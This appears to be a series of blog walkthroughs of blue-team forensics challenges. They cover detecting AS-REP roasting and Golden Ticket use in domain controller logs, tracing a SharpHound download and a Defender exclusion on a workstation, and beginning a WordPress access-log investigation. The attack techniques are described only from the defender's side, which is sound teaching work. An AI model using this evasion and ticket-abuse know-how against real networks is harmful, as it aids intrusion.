This one was a great chance to revisit Kerberos fundamentals and sharpen incident response skills. Instead of juggling a dozen artifacts, we focused on the Windows Security Event Logs and used Event Log Explorer to piece together what went down.

Along the way, we identified AS-REP roasting in DC logs (Event ID 4768 with PreAuthType = 0 and RC4 0x17), confirmed the attacker’s first successful logon on the endpoint (Event ID 4624, Logon Type = 3, ANONYMOUS LOGON, null GUID), and then used Windows Prefetch parsed with PECmd and reviewed in Timeline Explorer to surface whoami.exe as the first discovery command and grab the exact execution time.

I chose this challenge to continue the series and to brush up on Windows IR and refresh on Kerberos misconfigurations like missing pre-authentication. Even in a cloud-heavy world, techniques like enumeration, ticket abuse, and lateral movement still show up in real incidents. Knowing how to spot them fast from DC telemetry and validate on the host is table stakes for any blue teamer. Awesome stuff.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/as-rep-challenge

Event Log Explorer: https://eventlogxp.com/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

**Microsoft Learn — " # "

Kerberos Network Authentication Service (V5) Synopsis” :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

MITRE ATT&CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/

**Microsoft Learn — " # "

4768(S, F): A Kerberos authentication ticket (TGT) was requested” **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

**Microsoft Learn — " # "

4624(S): An account was successfully logged on” :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

**Magnet Forensics Blog — " # "

Forensic Analysis of Prefetch files in Windows" :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/

MITRE ATT&CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/

LetsDefend — Golden Ticket Challenge Walkthrough

Mon, 19 Jan 2026 00:00:00 +0000

LetsDefend — Golden Ticket Challenge Walkthrough

Investigating Domain Controller Logs Using Event Log Explorer and MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/challenge/golden-ticket

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Golden Ticket challenge from LetsDefend, you’re in the right place. Stick around to learn a little bit about detecting Golden Ticket attacks in Active Directory.

Challenge Scenario:

An alert has been triggered within a network, indicating a possible attack on the Domain Controller (DC). The security team has detected suspicious activity suggesting lateral movement attempts from a compromised workstation to the DC. The attacker, identified as having infiltrated the network, appears to be targeting sensitive systems. An investigator is tasked with analyzing network traffic, reviewing event logs, and identifying how the attacker is navigating through the environment. The goal is to trace the attacker’s steps, determine their access point, and prevent further escalation to the Domain Controller.

For this challenge, we’re putting on our incident response hats. An alert points to lateral movement from a compromised workstation to the Domain Controller. Not good! Our job is to quickly figure out what the attacker did by hunting through the logs and following their trail.

We’ll work from a single artifact: the Windows Security Event Log, and use Event Log Explorer to filter and correlate the attacker’s authentication activities. The goal is to identify whether a Golden Ticket was forged and pin down the accounts, timestamps, and logon types to support our case.

By the end of this thing, you’ll have a repeatable approach for spotting Active Directory attacks like AS-REP roasting and suspected Golden Ticket usage from just a domain controller’s security log. Time to turn those noisy logs into a clean timeline of the attack — let’s go!

Thanks for reading and going on this investigation with me!

Golden Ticket Basics:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what a Golden Ticket is in the context of a domain controller. This will help us contextualize the investigation as we go through it.

In an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to research further. The idea is that when a client in an Active Directory environment needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Here’s a quick visual from Microsoft Learn:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

For the context of a Golden Ticket attack, remember that Kerberos uses tickets to validate client identity in the form of a Ticket Granting Ticket (TGT). A TGT is issued by the Key Distribution Center and encrypted/signed with the KRBTGT service account key. Put simply, compromising the KRBTGT hash lets an attacker forge TGTs that look legitimate to the KDC and then use them to request service tickets (TGS) for specific resources even as highly privileged accounts like a domain administrator.

Here’s a concise, authoritative description from MITRE ATT&CK (Steal or Forge Kerberos Tickets: Golden Ticket — T1558.001):

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.[1] Golden tickets enable adversaries to generate authentication material for any account in Active Directory.[2]

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.[3]

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.[4] The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.

So, in the context of our investigation, we have an alert that a domain controller was compromised after lateral movement, which could give the attacker access to KRBTGT. Our job will be to identify whether a Golden Ticket was forged and used to escalate the attacker’s privileges to a higher level, like a domain administrator. Now that we’ve set the stage, let’s get into the investigation!

Questions 1, 2, & 3:

When did the attacker first access the service account within the Domain Controller environment?

What is the name of the compromised service account?

Which IP address and port were used by the attacker to log into the compromised account?

Let’s kick off this investigation and determine what the attacker was after. First, extract goldenticket.7z from the ChallengeFile folder. This leaves us with a single artifact: a copy of the Windows Security Event Log from the compromised domain controller — Security.evtx.

Overview of the challenge artifacts

The first thing we need to home in on is malicious login activity contained in the log. For this, we can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I’ll be using it for this walkthrough.

Next, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.

Start with broad strokes by filtering for Event ID 4624 (Successful Logon). You can access filtering options by pressing the filter button on the Event Log Explorer toolbar, then entering 4624 into the Event ID(s) field.

Since we’re specifically searching for a service account login, we might guess that the account name contains the string service. Add a custom parameter in the description params tab: select new logon\account name, set the operator to contains, and the value to service.

Event Log Explorer: Filtering successful login events containing the Account Name " # "

service"

Once we apply the filter, our event list becomes much more manageable. Because this investigation is in the context of a remotely accessed service account, we further whittle down results by discarding interactive (type 2) logons and searching for network logons (type 3) which is common with accessing services over the network.

Event Log Explorer: Identifying the first successful login for SQLService

This will lead us to stumble upon the key logon event above. In the Account Name field, we’ll find a 4624 network logon for the service account SQLService. That gives us the likely answer to Questions 1 & 2. Even better, 4624 events include Network Information fields such as Source Network Address and Source Port, which reveal where and how the logon originated. Those fields will provide the answer to Question 3 — nice!

Questions 4 & 5:

Before that the same attacker tried to perform an AS-REP attack. What user account did the attacker target during this Kerberos attack?

When did the attacker request that TGT ticket to perform the AS-REP attack?

Now that we’ve established some baseline timestamps and uncovered indicators of attack, we’ll turn our attention to the attacker’s earlier technique — AS-REP Roasting.

Before we blindly pour through the logs, let’s turn to the MITRE ATT&CK entry for this tactic for context: Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004)

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

Think back to the Kerberos diagram we reviewed earlier. The AS-REQ and AS-REP are the first steps in the Kerberos authentication flow. AS-REP roasting is possible in an Active Directory domain when an account has pre-authentication disabled. With pre-authentication enabled, the user’s AS-REQ includes a timestamp encrypted with the hash of their password and the DC must decrypt it before issuing an AS-REP containing a TGT. When an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. Not good!

So, what does this mean for our investigation? Another useful resource in MITRE ATT&CK is the detection strategy for these attacks. It recommends hunting for:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).

Let’s put this into action in Event Log Explorer and search for:

TGT requests: Event ID 4768 with PreAuthType = 0
Service ticket activity: Event ID 4769 where TicketEncryptionType = 0x17 to spot legacy RC4 usage

Event Log Explorer: Filtering for AS-REP roasting targets

Bingo! When you apply these filters, you’ll find exactly one matching hit: a single 4768 event that matches the detection conditions. That event contains what we need to answer Questions 4 & 5.

Event Log Explorer: Stumbling across a matching event log

Questions 6 & 7:

After gaining access to the Domain Controller, the attacker attempted to generate a Golden Ticket to impersonate a DC user. What was the target account?

At what time did the attacker try to log in using the Golden Ticket?

On to the last two questions! We’re looking for another successful login event that might indicate attempted use of a Golden Ticket, impersonating another user in the domain. Since the question tells us we’re looking after the attacker gained access to the domain controller, let’s apply some focused filtering in Event Log Explorer:

Filter Event IDs: 4624 (Successful Logon) and 4768 (TGT requests)
Time window: Events on the day of the attack after the event we found in Question 5
Exclude previously identified accounts: Filter out Corrado
Exclude computer accounts: Remove SOPRANOS-DC$ to focus only on user accounts

Event Log Explorer: Applying filters to reduce the noise

With these filters applied, we’ll identify activity for the Administrator account — a juicy target for an attacker looking for the keys to the kingdom. Let’s focus on this account now.

Event Log Explorer: Identifying an Administrator user in the event logs

To correlate associated Administrator activity, expand the filtered event set to include 4768, 4769, 4624, and 4625 (logon failure), add Administrator to the Text in description field, and clear any description parameters we used earlier so we don’t suppress relevant fields.

Event Log Explorer: Filtering for Administrator activity

From the results, something looks odd. Between 5:04:23 PM and 5:41:28 PM, we discover dozens of 4769 (service ticket request) events, a couple of 4768 (TGT) events, and several 4625 logon failures for Administrator. In other words, this looks suspiciously like testing or enumeration noise from the attacker.

Then we hit what really tips us off: at 5:57:03 PM there’s a clean sequence that ends in a successful logon: 4768 → 4769 → **4624**.

Event Log Explorer: Identifying a suspicious logon event sequence

This 4624 is Logon Type 2 (interactive). That isn’t the usual network pattern we often see with Golden Ticket use (typically surfaces as Logon Type 3 on a target server), but it differs from the earlier Type 7 unlocks we observed for this account and lands right after the suspicious 4769/4625 activity. That contrast is enough to treat it as a strong lead.

Since we’re absent any other clues indicating a Golden Ticket like a Logon GUID of {00000000-0000-0000-0000-000000000000}, odd ticket options, or a missing preceding TGT request, we’ll treat this as an educated guess: the Administrator logon at 5:57:03 PM is the most likely moment the attacker successfully authenticated using forged credentials, following the enumeration we observed.

It’s not perfect evidence, but the timing, the switch to Logon Type 2, and the 4769/4625 pattern make it the best option to prove our case. Let’s see if we’ve got it right!

Conclusion:

How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.

This one was a great chance to revisit Kerberos fundamentals and sharpen our incident response skills. Instead of juggling multiple artifacts, we focused on a single source, the Windows Security Event Log, and used Event Log Explorer to piece together what went down. Along the way, we uncovered an AS-REP roasting attempt, correlated suspicious ticket activity, and stumbled on a Golden Ticket use. It’s a reminder that even with limited data, careful filtering and enrichment from MITRE ATT&CK can help tie up the loose ends.

I chose this challenge to brush up on my Windows incident response skills and refresh on Kerberos, classic Active Directory attacks, and misconfiguration pitfalls like missing pre-authentication. In a cloud-native world, it’s easy to forget that these techniques like enumeration, ticket forging, and lateral movement are still widely used in real-world attacks. Knowing how to spot them is extremely handy for any blue teamer. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/golden-ticket

Event Log Explorer: https://eventlogxp.com/

**Microsoft Learn — " # "

Kerberos Network Authentication Service (V5) Synopsis" :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

MITRE ATT&CK — Steal or Forge Kerberos Tickets: Golden Ticket (T1558.001): https://attack.mitre.org/techniques/T1558/001/

MITRE ATT&CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/

**Microsoft Learn — " # "

4768(S, F): A Kerberos authentication ticket (TGT) was requested" **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

**Microsoft Learn — " # "

4769(S, F): A Kerberos service ticket was requested" :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

**Microsoft Learn — " # "

4624(S): An account was successfully logged on" :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

LetsDefend — LDAP Enumeration Challenge Walkthrough

Mon, 12 Jan 2026 00:00:00 +0000

LetsDefend — LDAP Enumeration Challenge Walkthrough

Investigating Suspicious Network Enumeration Using Event Log Explorer and Eric Zimmerman’s Tools.

Image Credit: https://app.letsdefend.io/challenge/ldap-enumeration

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the LDAP Enumeration blue team challenge from LetsDefend, you’re in the right place.

Challenge Scenario:

A network has been breached, and an alert was triggered indicating suspicious network enumeration activities from IP 192.168.110.129. Initial indicators suggest an attacker inside the network is actively probing systems and gathering information about critical assets. You are tasked with tracing the attacker’s movements to determine the source of the anomaly, understand how the attacker gained access, and assess what actions they might have taken inside the network.

For this challenge, we’re putting on our incident response hats. Suspicious network enumeration and discovery activities have been identified coming from a single workstation. We’re handed a zip file containing Windows artifacts from the affected device and tasked with piecing together what happened and what tool triggered the alert.

This scenario will have us pivoting between tools to deep dive into a variety of forensic artifacts as we build a timeline of the attack and uncover which tools were used or abused. To do this, we’ll crack open our toolboxes and leverage a mix of Eric Zimmerman’s forensic tools, Event Log Explorer, and VirusTotal to analyze the evidence.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Questions 1 & 2:

What is the port number used for the previous login?

Let’s kick off this investigation and figure out what’s causing this suspicious network enumeration.

First, extract LDAP-Enum.7z from the ChallengeFile folder. This leaves us with a folder named C, which contains various artifacts from a Windows system that we’ll use throughout our investigation.

Overview of the challenge artifacts

The first thing we need to home in on is malicious login activity. For this, we’ll use the Windows Security Event log, which contains, among other things, the login events for the system. Within our artifacts, the logs can be located in the following directory:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Security.evtx

The location of the security event log artifact

To view the logs, we have a couple of options. We can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I’ll be using it for this walkthrough.

Next, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.

Press the filter button to focus on Event ID 4624 (Successful Login). We can also search for Text in description to narrow things down. A crucial detail to remember from the scenario is that the IP address 192.168.110.129 was identified as the source of the network enumeration activity, so we’ll use that to search all of the details for records that contain that IP.

Event Log Explorer: Filtering successful login events from the malicious IP

Event Log Explorer: Identifying the first login from the malicious IP and the source port

By applying this filter, we’ve quickly identified the first login from the malicious IP address — and we’ve even discovered the source port that we need to answer Question 2.

Question 3: Once inside the system, it seems the attacker immediately began gathering information. What was the first command they executed?

Our next task is to figure out the first command the attacker executed once they gained access. For this, we’ll pivot from the event logs and turn to another forensic artifact: Windows Prefetch files.

Rather than try to explain the value of these artifacts myself, I’ll lean on the excellent blog post from Magnet Forensics. They explain:

Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.

So, if we can access the prefetch files, we can determine what the first command executable was run. We can locate the prefetch files in the ChallengeFile\C\Windows\prefetch directory, but they aren’t much use to us as-is.

The location of the prefetch file artifacts

To parse the prefetch files, we’ll leverage one of the many Eric Zimmerman tools — PECmd. This utility is already loaded into the analysis environment, so we only need to launch it through PowerShell using the syntax below to specify the prefetch directory and an output directory and file. Here’s an example where PECmd outputs to a file called investigation.csv:

.\PECmd.exe -d “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\prefetch" –csv C:\Users\LetsDefend\Desktop\ChallengeFile –csvf investigation.csv

Once the file is generated, we’ll open it with another Eric Zimmerman tool, Timeline Explorer, which allows us to view and sort the output data in a structured way.

Within Timeline Explorer, filter the Last Run column so we can start to build out a timeline. From the previous questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we’ll focus on events right after that. With the entries sorted, let’s look at the Executable Name column—and we’ll find the first discovery command run:

Timeline Explorer: Filtering for executables following the initial login

whoami.exe is an example of System Owner/User Discovery (MITRE ATT&CK T1033) used to identify the currently logged-in user on the system and check what level of access they have.

Let’s figure out what they did next.

Question 4: During the attack, the attacker downloaded a malicious file. What is the exact URL of the file?

Now that we’ve started to gather a rough timeline of the attack in Timeline Explorer, we can see other potentially interesting executables that could be abused by the attacker to download further payloads — including bitsadmin, powershell, and curl.

Timeline Explorer: Identifying methods of ingress tools transfer

All of these commands are important pieces of the puzzle. But most interestingly, following the use of BITSADMIN.EXE, we also see evidence of another suspicious executable: Sharphound.exe. SharpHound is the ingestor for BloodHound, a well-known Active Directory reconnaissance tool.

This seems like a good place to start answering Question 4 and determine the full download URL of the Sharphound.exe file. Since we already noted that this activity followed BITSADMIN.EXE, we’ll use the BITS Client Operational Logs to discover (no pun intended) more details. These logs can be located in the directory below. Go ahead and open them in Event Log Explorer:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Scroll down to the matching timestamp that we found in Timeline Explorer to identify the URL that the tool was downloaded from.

Event Log Explorer: Identifying the URL the malicious file was downloaded from

Question 5: The download logs indicate when the malicious file was brought onto the system. What time did the download occur?

Unfortunately, the timestamp in the BITS logs only indicates when the BITS job was created — not when the file was actually written to the file system. So, we’ll pivot to yet another artifact: the master file table ($MFT). To explore the MFT, we’ll use MFTExplorer, the GUI version of Eric Zimmerman’s MFTECmd.

For some context about this artifact, let’s lean on the Magnet Forensics blog again, where it’s explained:

In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file’s attributes, such as its name, size, timestamps, permissions, and more.

Putting this together, the idea is that by parsing the $MFT, we can identify the creation timestamp of the SharpHound.exe binary, indicating when it was downloaded.

Once you have MFTExplorer open, load the $MFT artifact from:

C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT

Then, in the directory structure browser on the left, navigate to the file path we found in the BITS Client log in the last question:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\Temp

MFT Explorer: Identifying the creation time of the SharpHound.exe binary

Here, you’ll find the record for the malicious SharpHound.exe file. The SI_Creation On column contains the timestamp of the download.

Question 6: Windows Defender detected the malicious file and generated an alert. What is the SHA1 hash of this file?

Now that we’ve identified how and where the malicious file was downloaded, let’s turn our attention to gathering some additional details about the file. Fortunately, the question tells us that the SharpHound.exe binary was detected by Windows Defender, so our first stop will be to review the Defender detection logs for any more clues.

Within our artifacts, we can find the Windows Defender Operational logs here:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

Load this up in Event Log Explorer and apply some filtering. This time, we’ll search for Event ID 1117 and 1116. Per the Microsoft Learn documentation, these events correspond to:

MALWAREPROTECTION_STATE_MALWARE_DETECTED
MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN

These should give us good coverage of detection and remediation actions.

Event Log Explorer: Identifying malware detection events

After applying the filter, we’ll find events showing the detection and quarantine actions taken on the SharpHound.exe file. While helpful, these event logs don’t contain the SHA1 file hash we need to answer the question.

No problem! Let’s pivot to a second local Defender artifact — the Support logs. We can find these here:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\ProgramData\Microsoft\Windows Defender\Support

Overview of the Windows Defender support logs

Inside this directory, open the MPLog-20240813€“091114.log file with a text editor like Notepad++. Then, simply search for the name of the file: SharpHound.exe.

Notepad++: Finding the file hash in the MPLog

Bingo! Right below the file name is the SHA1 hash of the file. This is extremely handy if we need to pivot to external threat intelligence platforms. It’s a great example of why understanding all available logs is fundamental, since the Event Logs didn’t contain what we needed.

Question 7: To evade detection, the attacker excluded a specific directory from the Defender scan. What command did they use to do so?

Okay, so we figured out the malware got detected the first time — whoops! From the question, we know the attacker then made an exclusion for a directory, probably to use as a staging area to further avoid detection.

Let’s jump back to the Windows Defender Operational logs we explored in the previous question. This time, we’ll filter for Event ID 5007 (MALWAREPROTECTION_CONFIG_CHANGED), since any exclusion actions should be captured by this event.

Event Log Explorer: Discovering a Defender exclusion configuration

In Event Log Explorer, the first events at the top of the list from the date of the attack show two interesting changes:

Tampering with the real-time protection setting
Setting a new configuration value for an exclusion path: C:\Windows\Temp

So now we know the directory, but we still don’t know the exact command used. Why don’t we check the PowerShell logs for evidence of command execution? These logs are in the same directory as the rest of the event logs. The only trick is that there are two PowerShell logs — we want the Windows PowerShell log, not the operational log:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Windows PowerShell.evtx

Since we already have a timestamp from the Defender logs for when the exclusion was implemented, we can correlate that with the PowerShell log. By doing that, we’ll stumble across the exact command used to set the exclusion.

Event Log Explorer: Finding the exclusion command in the Windows Powershell logs

Question 8: The attacker executed the malicious file soon after downloading it. When exactly did they first run it?

For this, we’ll head back to Timeline Explorer and review our PECmd output from Questions 3 and 4 (investigation.csv).

Use the search box to look for Sharphound.exe. Then, focus on the Last Run column to get the exact timestamp of when the malware was executed.

Timeline Explorer: Identifying the last run timestamp of the malicious file

Now we have the complete picture of how the file was downloaded, when it was downloaded, when it was detected, and when it was run.

Question 9: After executing the malicious file, a zip file was created on the system. What is the full path of this zip file?

We’re closing in on the investigation and starting to get our arms around the reconnaissance utilities being downloaded into the victim environment. To answer Question 9, we need to identify a zip file created on the system following the execution of SharpHound.exe.

You might have spotted a clue earlier when reviewing the Defender Operational logs, where we saw evidence of a malicious file downloaded by abusing a living-off-the-land binary: certutil. While that’s out of scope for this challenge, it’s worth noting. More importantly, the Defender event also shows the full command run—which includes the directory where the file was copied on the victim system.

Event Log Explorer: Stumbling across a malicious zip file

Let’s approach this another way, too. Jump back over to MFTExplorer and continue searching the excluded directory C:\Windows\Temp, where we previously found the SharpHound.exe binary. Since we’ve determined this is being used by the attacker as a staging directory, we can look for any other suspicious zip files and correlate them with the Defender logs.

MFT Explorer: Confirming the malicious zip file

Voila! We find the record for the malicious zip file in the same staging directory. Remember when I mentioned that SharpHound is the collector for BloodHound? Now we have confirmation that BloodHound is also present, and we can start to get a pretty good idea of the techniques the attacker will employ next: reconnaissance and enumeration of the environment using LDAP queries to map Active Directory objects.

Questions 10 & 11:

What is the malware family name associated with the malicious file that was downloaded?

What is the malware signature detected by Windows Defender for the malware?

To go out with a bang, let’s tackle these two questions together. This pair can be a little confusing because we just discovered evidence of BloodHound. However, these questions are asking about the detection signature name for the SharpHound.exe binary we found in the Defender Event logs back in Question 6—and we already stumbled across the answer.

Here’s a quick refresher:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

Event Log Explorer: Identifying the malware family of SharpHound

Here’s where it gets tricky: we’re looking for the family name that the SharpHound.exe binary belongs to—not the name of the binary itself. A malware family name is used to describe multiple pieces of malware that share specific properties like capability, origin, or code base.

To confirm this, let’s pivot to VirusTotal for additional intelligence, such as community family labels. Copy the SHA1 hash we found in Question 6 and navigate to VirusTotal:

https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272

Once the results page loads, focus on the family labels. One of them matches something we saw in the Defender logs: MSIL.

For additional context, Microsoft follows its own naming convention for malware detections, and it can be difficult to decipher what’s being detected from the name alone. A great resource for this is the Microsoft Learn page: How Microsoft names malware.

How Microsoft names malware - Unified security operations _Understand the malware naming convention used by Microsoft Defender Antivirus and other Microsoft antimalware._learn.microsoft.com

Based on this article, we can understand that MSIL describes the malware’s scripting language — not what we typically think of as a malware family. According to the docs, MSIL refers to .NET Intermediate Language scripts.

The full detection signature name from Defender combines this prefix with additional details about the threat.

Event Log Explorer: Identifying the malware detection signature of SharpHound

In this example, we can decipher some further details:

VirTool: Indicates the file is a tool that could be used maliciously
MSIL: The platform or language (.NET Intermediate Language)
SharpHound.A: The specific malware family and variant

And that wraps up our investigation! Awesome job!

Conclusion:

How fun was that! A big thank you to LetsDefend for another awesome challenge.

This challenge provided a great opportunity to go back to the basics and dive into forensics and incident response for some classic Active Directory reconnaissance techniques. It pushed us to pivot between multiple artifacts like Windows Event Logs, Prefetch files, $MFT records, and Windows Defender logs to piece together a complete attack timeline. Along the way, we uncovered how attackers can leverage living-off-the-land binaries, abuse legitimate tools like SharpHound, and even tamper with security configurations to evade detection.

Put together, that’s what made it feel so realistic — because in the real world, attackers rarely leave all their footprints in one place. We had to investigate several log sources, learning about each one as we followed the trail and validate our findings using tools like Eric Zimmerman’s tools, Event Log Explorer, and VirusTotal.

I chose this challenge to revisit Windows log artifacts and brush up on investigating Active Directory-based attacks. It’s a perfect example of how layered techniques like initial access, reconnaissance, and defense evasion all fit together in an attack chain. And at the core of it all was the attacker’s objective: LDAP enumeration, using LDAP queries through tools like BloodHound to map Active Directory objects and identify privilege escalation paths. While we didn’t investigate beyond the ingress tools transfer, it was rewarding to see how each question built on the previous one, creating a logical and linear investigation flow. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/ldap-enumeration

Event Log Explorer: https://eventlogxp.com/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

**Magnet Forensics Blog — " # "

Forensic Analysis of Prefetch files in Windows” :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/

MITRE ATT&CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/

MITRE ATT&CK — Software — BloodHound (S0521): https://attack.mitre.org/software/S0521/

**Magnet Forensics Blog — " # "

**_Harnessing MFT parsing for incident response investigations": https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/

VirusTotal — SharpHound Sample: https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272

Microsoft Learn — Malware Names: https://learn.microsoft.com/en-us/unified-secops/malware-naming

Blue Team Labs Online — Log Analysis - Compromised WordPress Challenge Walkthrough

Mon, 05 Jan 2026 00:00:00 +0000

Blue Team Labs Online | Log Analysis — Compromised WordPress | Challenge Walkthrough

A Log Analysis Challenge Using http Logs Viewer

Image Credit: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Log Analysis — Compromised WordPress blue team challenge from Blue Team Labs Online, you’re in the right place.

Challenge Scenario:

One of our WordPress sites has been compromised but we’re currently unsure how. The primary hypothesis is that an installed plugin was vulnerable to a remote code execution vulnerability which gave an attacker access to the underlying operating system of the server.

For this challenge, we’re putting on our incident response hats. We’ll dig into the provided access.log file, analyze suspicious requests, and piece together how the attacker gained access.

We’ll be using http Logs Viewer (formerly Apache Logs Viewer) for log analysis and complementing that with research into CVEs and attacker TTPs. By the end of this walkthrough, you’ll have a clear understanding of how to approach similar investigations in the wild. An even cooler part? While this investigation focuses on a WordPress site compromise, the log analysis skills you’ll practice here apply to other web servers as well — making this a great primer for web server log analysis, too. Sound good? Let’s dive in!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Let’s kick off our investigation by extracting the challenge file from the ZIP we downloaded from BTLO using the password provided in the challenge window. After extraction, we’re left with a single file: access.log. This is the file we’ll analyze to determine how the WordPress site was compromised.

An important thing to note here is that the access.log is generated by the backend web server software, like Apache, and not by WordPress directly. Why does this matter? Because it informs what tool we use for analysis and reminds us that these log analysis skills apply far beyond WordPress investigations.

With that in mind, while any text viewer works, a great tool for examining access.log is http Logs Viewer (formerly Apache Logs Viewer), which “is a free and powerful tool which lets you monitor, view and analyze Apache/IIS/nginx logs with more ease.” Sounds like it fits the bill!

Once you’ve downloaded and installed it, open the tool and load access.log by selecting File > Add Access Log. In the options pop-up window, change the file format to Combined View so we don’t lose any data.

http Logs Viewer: Loading the access.log file

Now that the logs are open, our first task is to identify the admin login panel URL accessed by the attacker. A good starting point is to get an overview of unique IPs in the log. To do this, click the button next to the IP Address filter and select Unique IPs.

http Logs Viewer: Stumbling upon the weird query in the Unique IP view

You’ll see several unique IP addresses, but something stands out: a suspicious POST request from various IPs with what appears to be an admin-level token. This token is likely passed as a query parameter (e.g., ?itsec-hb-token=adminlogin) or embedded in the request body, which attackers often exploit for session hijacking or privilege escalation. Copy the URL, then search for this request string using Ctrl+F. This should take you straight to the first result.

http Logs Viewer: Finding the first instance of the adminlogin token

